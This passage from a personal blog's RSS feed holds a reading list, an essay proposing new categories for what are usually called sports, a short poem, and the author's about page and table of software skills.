&lt;li>Cognitive Dimensions of Notations (many - &lt;a href="https://www.cl.cam.ac.uk/~afb21/publications/CT2001.pdf">link&lt;/a>)&lt;/li>
&lt;li>New Kind of Science (Stephen Wolfram)&lt;/li>
&lt;li>Undaunted Courage (Stephen E. Ambrose)&lt;/li>
&lt;li>Alice&amp;rsquo;s Adventures in Wonderland (Lewis Carroll)&lt;/li>
&lt;li>Through the Looking Glass (Lewis Carroll)&lt;/li>
&lt;li>Not a Sometimes Love (Keith Korstjens)&lt;/li>
&lt;li>The Oxford Union Guide to Speaking in Public&lt;/li>
&lt;li>The Vanishing Conscience (John MacArthur)&lt;/li>
&lt;li>Love Your God with All Your Mind: The Role of Reason in the Life of the Soul (J.P. Moreland)&lt;/li>
&lt;/ul>
&lt;p>Many more&amp;hellip;&lt;/p></description></item><item><title>Defining Sports</title><link>https://hightower.space/posts/defining-sports/</link><pubDate>Fri, 24 Apr 2015 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/defining-sports/</guid><description>&lt;p>If you were to do some research on the etymology of the word &amp;ldquo;sport&amp;rdquo;, you would find that the word has its root in the idea of pleasurable, enjoyable activities, games, or flirtations that amuse and temporarily divert one&amp;rsquo;s attention&lt;sup>1&lt;/sup>. I am arguing, however, that this definition has changed with the advent of professional sports. With the rise of professional baseball and football in the first third of the 20th century, people began to view sports as an important part of culture. The explosion of technologies like radios and televisions continued the shift by transforming sports into a ubiquitous, multi-billion dollar industries. Sports are much more serious in our culture today than they were in the 19th and 18th centuries when a &amp;lsquo;sport&amp;rsquo; was simply an enjoyable pastime. Those playing a sport are not considered flirtatious men passing the time, but are elevated icons of society (for better or worse). Therefore, I believe it is high time we redefine the word &amp;lsquo;sport&amp;rsquo; and think about using some new words to describe the activities normally classified as &amp;lsquo;sports&amp;rsquo;. After all, the word &amp;lsquo;sport&amp;rsquo; is currently used to describe everything ranging from golf to rugby, tennis to skateboarding, and cheerleading&lt;sup>2&lt;/sup> to ice-hockey. My attempt in this blog post is to provide new definitions we can use to differentiate different types of activities.&lt;/p>
&lt;aside class="marginnote">
&lt;p>&lt;span class="noteNumber">1&lt;/span> - &lt;a href="http://www.etymonline.com/index.php?allowed_in_frame=0&amp;search=sport&amp;searchmode=none" target="_blank">http://www.etymonline.com/index.php?allowed_in_frame=0&amp;search=sport&amp;searchmode=none&lt;/a>&lt;/p>
&lt;span class="noteNumber">2&lt;/span> - &lt;a href="http://www.espn.com/college-sports/story/_/id/8245864/appeals-court-affirms-cheerleading-not-sport-title-ix" target="_blank">http://www.espn.com/college-sports/story/_/id/8245864/appeals-court-affirms-cheerleading-not-sport-title-ix&lt;/a>
&lt;/aside>
&lt;p>I propose that the activities we normally call &amp;lsquo;sports&amp;rsquo; should be split up into five categories: sports, athletics, performances, skills, and motorsports.&lt;/p>
&lt;p>&lt;strong>Sports:&lt;/strong> The new definition of a sport should stipulate that a sport must have multiple teams (usually two) competing at the same time. A sport must involve, at the very least, some sort of object other than the players (usually a ball of some kind) that is used to objectively&lt;sup>3&lt;/sup> score. In addition to this, a sport is an activity in which the teams are playing offense and defense directly against their opponent(s). A sport must also require a decent&lt;sup>4&lt;/sup> amount of physical activity. Thus, the definition of a sport includes most of the common, professional &amp;lsquo;sports&amp;rsquo; like: baseball, basketball, football, soccer, hockey, rugby, cricket, tennis, volleyball, lacrosse, table tennis.&lt;/p>
&lt;aside class="marginnote">
&lt;p>&lt;span class="noteNumber">3&lt;/span> - It is worth noting that even in sports with 'objective' scoring, there are still times when it is unclear whether or not a team has scored and it can ultimately come down to the subjective decision of a referee. The use of technology in sports is eliminating much of this subjectivity and even if there are remote instances of subjectivity, they are the exception and not the rule.&lt;/p>
&lt;span class="noteNumber">4&lt;/span> - I realize this is a relative term. I think this is necessary to exclude activities like board games and video games from being considered sports (no, I don't think they are sports).
&lt;/aside>
&lt;p>&lt;strong>Athletics:&lt;/strong> To fit this category, an activity must be objectively scored and must rely on the human body alone as the primary means to victory. This class of activities includes basically any common race where the human body is the engine. Running races, swimming, biking, skiing, and BMX races (where the race is objectively timed) would fall into this category. Biking, skiing, and BMX are included in this list because, while other objects are involved (namely a bike or the skis), the primary means of locomotion comes from the human athlete. Activities like NASCAR and Dirtbiking do not fit into this category since a machine, and not the human body, is the primary means of locomotion. It is unclear to me whether or not wrestling, martial arts, and boxing fit into this category or not. They qualify in that the human body is the primary means to victory, but the scoring seems to me to be only pseudo-objective because the scoring is done in real time by judges. Certainly, there are objective rules but it is up to humans to make judgements about scoring and it could be difficult to program a machine to make these judgements. Given this is the case, I classify wrestling, boxing, and martial arts in the next category, but this may only be because of my ignorance of how scoring works in these activities.&lt;/p>
&lt;p>&lt;strong>Performances:&lt;/strong> Any activity that involves competition, yet is subjectively scored is a performance. These activities tend to emphasize more intangible qualities and actions like grace, poise, strength, and/or artfulness. Activities like gymnastics, figure skating, cheerleading, and marching band fall into this category. As a subset of this category are martial arts which would include wrestling, boxing, and martial arts.&lt;/p>
&lt;p>&lt;strong>Skills:&lt;/strong> A skill is an activity which usually does not require a lot of exertion but does require a good deal of skill, coordination, and/or muscle memory. In general, skills involve something other than just the human body as a means to victory (thus excluding them from being athletics) yet they also do not allow for offense or defense (thus excluding them from being a sport). Like a sport, however, most skills are objectively scored. Skills include activities like golf, bowling, shuffle board, and curling. To clarify, shuffle board and curling are not considered sports because there is no offense or defense directly against your opponents. Offense or defense can only be targeted at opponent&amp;rsquo;s game pieces.&lt;/p>
&lt;p>&lt;strong>Motorsports:&lt;/strong> As the name implies, this class of activity is one in which a machine (usually one with a motor) is the primary means of locomotion. Examples include NASCAR and dirtbiking.&lt;/p></description></item><item><title>The Smith of the gods is Lame</title><link>https://hightower.space/posts/the-smith-of-the-gods-is-lame/</link><pubDate>Sat, 13 Dec 2014 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/the-smith-of-the-gods-is-lame/</guid><description>&lt;h3 id="the-smith-of-the-gods-is-lame">The Smith of the gods is Lame&lt;/h3>
&lt;p>The smith of the gods is lame.
His feet have seen no battles.
His legs have won no races.
The smith of the gods is lame.&lt;/p>
&lt;p>The smith of the gods is lame.
His hands have won more battles than any other man,
for tho his feet not bring him glory, his skill, his hands have stood.
The smith of the gods is lame.&lt;/p>
&lt;p>The smith of the gods is lame.
His hands have made more weapons
than armories can handle.
The smith of the gods is lame.&lt;/p></description></item><item><title/><link>https://hightower.space/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hightower.space/about/</guid><description>&lt;h1 id="about-me">About Me&amp;hellip;&lt;/h1>
&lt;p>I go by &amp;ldquo;Floyd&amp;rdquo;. I&amp;rsquo;m a software craftsman dedicated to designing software and systems which make the world a better place.
I try to:&lt;/p>
&lt;ul>
&lt;li>Practice &lt;a href="https://echelonfront.com/extreme-ownership/">Extreme Ownership&lt;/a>&lt;/li>
&lt;li>Be humble enough to accept feedback and adopt a good idea&lt;/li>
&lt;li>Always be learning something new and pushing myself outside of my comfort zones&lt;/li>
&lt;/ul>
&lt;p>I hope you enjoy poking around this site and find it profitable, thought-provoking, and insightful.&lt;/p>
&lt;p>Cheers,&lt;br/>
Floyd&lt;/p></description></item><item><title/><link>https://hightower.space/skills/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hightower.space/skills/</guid><description>&lt;h1 id="skills-and-experience">Skills and Experience&lt;/h1>
&lt;p>Here is a regularly updated list of skills I have:&lt;/p>
&lt;!-- The first row is an img so it resizes the rest of the columns -->
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>~&lt;/th>
&lt;th>Skill&lt;/th>
&lt;th>Fluency*&lt;/th>
&lt;th>Years of Experience&lt;/th>
&lt;th>Context&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/python.svg" alt="Python" width="100" height="100">&lt;/td>
&lt;td>Python&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
14&lt;br/>(2013 - Present)
&lt;/td>
&lt;td>Personal, Professional, Academic&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/github.svg" alt="Github" title="Github">&lt;/td>
&lt;td>Github&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
14&lt;br/>(2013 - Present)
&lt;/td>
&lt;td>Academic, Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/flask.svg" alt="Flask" title="Flask">&lt;/td>
&lt;td>Flask&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
10&lt;br/>(2017 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/gitlab.svg" alt="Gitlab" title="Gitlab">&lt;/td>
&lt;td>Gitlab&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
4&lt;br/>(2017 - 2020)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/fastapi.svg" alt="FastAPI" title="FastAPI">&lt;/td>
&lt;td>FastAPI&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
8&lt;br/>(2019 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/django.svg" alt="Django" title="Django">&lt;/td>
&lt;td>Django&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
4&lt;br/>(2017 - 2020)
and
4&lt;br/>(2023 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/markdown.svg" alt="Markdown" title="Markdown">&lt;/td>
&lt;td>Markdown&lt;/td>
&lt;td>n/a (with Markdown, I think you either use it or you don&amp;rsquo;t)&lt;/td>
&lt;td>
12&lt;br/>(2015 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/pytest.svg" alt="Pytest" title="Pytest">&lt;/td>
&lt;td>Pytest&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
10&lt;br/>(2017 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/hugo.svg" alt="Hugo" title="Hugo">&lt;/td>
&lt;td>Hugo&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
8&lt;br/>(2019 - Present)
&lt;/td>
&lt;td>Personal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/libreoffice.svg" alt="Techincal Writing" title="Technical Writing">&lt;/td>
&lt;td>Technical Writing&lt;/td>
&lt;td>Expert&lt;/td>
&lt;td>
5&lt;br/>(2017 - 2021)
and
3&lt;br/>(2024 - Present)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/docker.svg" alt="Docker" title="Docker">&lt;/td>
&lt;td>Docker&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
8&lt;br/>(2019 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/kubernetes.svg" alt="Kubernetes" title="Kubernetes">&lt;/td>
&lt;td>Kubernetes&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
4&lt;br/>(2020 - 2023)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/neovim.svg" alt="Neovim" title="Neovim">&lt;/td>
&lt;td>Neovim&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
5&lt;br/>(2022 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/googlecloud.svg" alt="Google Cloud" title="Google Cloud">&lt;/td>
&lt;td>Google Cloud&lt;/td>
&lt;td>Intermediate (I&amp;rsquo;m a &lt;a href="https://cloud.google.com/certification/data-engineer">Google Certified Professional Data Engineer&lt;/a>)&lt;/td>
&lt;td>
5&lt;br/>(2020 - 2024)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/jupyter.svg" alt="Jupyter (notebooks and kernels)" title="Jupyter (notebooks and kernals)">&lt;/td>
&lt;td>Jupyter (notebooks and kernels)&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
6&lt;br/>(2015 - 2020)
&lt;/td>
&lt;td>Personal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/helm.svg" alt="Helm" title="Helm">&lt;/td>
&lt;td>Helm&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
3&lt;br/>(2020 - 2022)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/buildkite.svg" alt="Buildkite" title="Buildkite">&lt;/td>
&lt;td>Buildkite&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
3&lt;br/>(2020 - 2022)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/vuedotjs.svg" alt="Vue.js" title="Vue.js">&lt;/td>
&lt;td>Vue.js&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
3&lt;br/>(2017 - 2019)
and
4&lt;br/>(2023 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/pydantic.svg" alt="Pydantic" title="Pydantic">&lt;/td>
&lt;td>Pydantic&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
7&lt;br/>(2020 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/postgresql.svg" alt="PostgreSQL" title="PostgreSQL">&lt;/td>
&lt;td>PostgreSQL&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
4&lt;br/>(2017 - 2020)
and
4&lt;br/>(2023 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/sqlalchemy.svg" alt="SQLAlchemy" title="SQLAlchemy">&lt;/td>
&lt;td>SQLAlchemy&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
5&lt;br/>(2022 - Present)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/amazonaws.svg" alt="AWS" title="AWS">&lt;/td>
&lt;td>AWS&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
4&lt;br/>(2016 - 2019)
and
5&lt;br/>(2022 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/digitalocean.svg" alt="DigitalOcean" title="DigitalOcean">&lt;/td>
&lt;td>DigitalOcean&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
5&lt;br/>(2015 - 2019)
and
2&lt;br/>(2022 - 2023)
and
2&lt;br/>(2025 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/sentry.svg" alt="Sentry" title="Sentry">&lt;/td>
&lt;td>Sentry&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
4&lt;br/>(2023 - Present)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/javascript.svg" alt="JavaScript" title="JavaScript">&lt;/td>
&lt;td>JavaScript&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
16&lt;br/>(2011 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/typescript.svg" alt="TypeScript" title="TypeScript">&lt;/td>
&lt;td>TypeScript&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
16&lt;br/>(2011 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/claude.svg" alt="Claude" title="Claude">&lt;/td>
&lt;td>Claude&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
2&lt;br/>(2025 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/openai.svg" alt="Codex" title="Codex">&lt;/td>
&lt;td>Codex&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
2&lt;br/>(2025 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/stimulus.svg" alt="Stimulus" title="Stimulus">&lt;/td>
&lt;td>Stimulus&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
2&lt;br/>(2022 - 2023)
&lt;/td>
&lt;td>Personal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/buymeacoffee.svg" alt="Java" title="Java">&lt;/td>
&lt;td>Java&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
6&lt;br/>(2011 - 2016)
&lt;/td>
&lt;td>Personal, Academic&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/go.svg" alt="Go" title="Go">&lt;/td>
&lt;td>Go&lt;/td>
&lt;td>Intermediate&lt;/td>
&lt;td>
6&lt;br/>(2021 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/amazondynamodb.svg" alt="DynamoDB" title="DynamoDB">&lt;/td>
&lt;td>DynamoDB&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
3&lt;br/>(2024 - Present)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v13/icons/twilio.svg" alt="Twilio" title="Twilio">&lt;/td>
&lt;td>Twilio&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
4&lt;br/>(2023 - Present)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/buffer.svg" alt="Protocol Buffers" title="Protocol Buffers">&lt;/td>
&lt;td>Protocol Buffers&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
2&lt;br/>(2022 - 2023)
&lt;/td>
&lt;td>Personal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/ruby.svg" alt="Ruby" title="Ruby">&lt;/td>
&lt;td>Ruby&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
2&lt;br/>(2022 - 2023)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/rubyonrails.svg" alt="Ruby on Rails" title="Ruby on Rails">&lt;/td>
&lt;td>Ruby on Rails&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
2&lt;br/>(2022 - 2023)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/clojure.svg" alt="Clojure" title="Clojure">&lt;/td>
&lt;td>Clojure&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
3&lt;br/>(2021 - 2023)
&lt;/td>
&lt;td>Personal&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/grafana.svg" alt="Grafana" title="Grafana">&lt;/td>
&lt;td>Grafana&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
7&lt;br/>(2020 - Present)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/vault.svg" alt="Vault" title="Vault">&lt;/td>
&lt;td>Vault&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
7&lt;br/>(2017 - 2023)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/elasticsearch.svg" alt="Elasticsearch" title="Elasticsearch">&lt;/td>
&lt;td>Elasticsearch&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
4&lt;br/>(2020 - 2023)
&lt;/td>
&lt;td>Personal, Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/kibana.svg" alt="Kibana" title="Kibana">&lt;/td>
&lt;td>Kibana&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
4&lt;br/>(2020 - 2023)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/microsoft.svg" alt="Azure" title="Azure">&lt;/td>
&lt;td>Azure&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
2&lt;br/>(2024 - 2025)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/fastify.svg" alt="Fastify" title="Fastify">&lt;/td>
&lt;td>Fastify&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
3&lt;br/>(2024 - Present)
&lt;/td>
&lt;td>Professional&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;img src="https://cdn.jsdelivr.net/npm/simple-icons@v7/icons/buymeacoffee.svg" alt="Less sleep and more joy than I expected" title="Less sleep and more joy than I expected">&lt;/td>
&lt;td>Fatherhood&lt;/td>
&lt;td>Beginner&lt;/td>
&lt;td>
5&lt;br/>(2022 - Present)
&lt;/td>
&lt;td>Personal&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>* - I&amp;rsquo;m categorizing fluency as either: Expert, Intermediate, or Beginner.&lt;/p>
&lt;h2 id="want-to-learn">Want to Learn&amp;hellip;&lt;/h2>
&lt;ul>
&lt;li>Kotlin and/or Scala&lt;/li>
&lt;li>TLA+&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>Icons by &lt;a href="https://simpleicons.org/">simpleicons.org&lt;/a>.&lt;/p></description></item></channel></rss>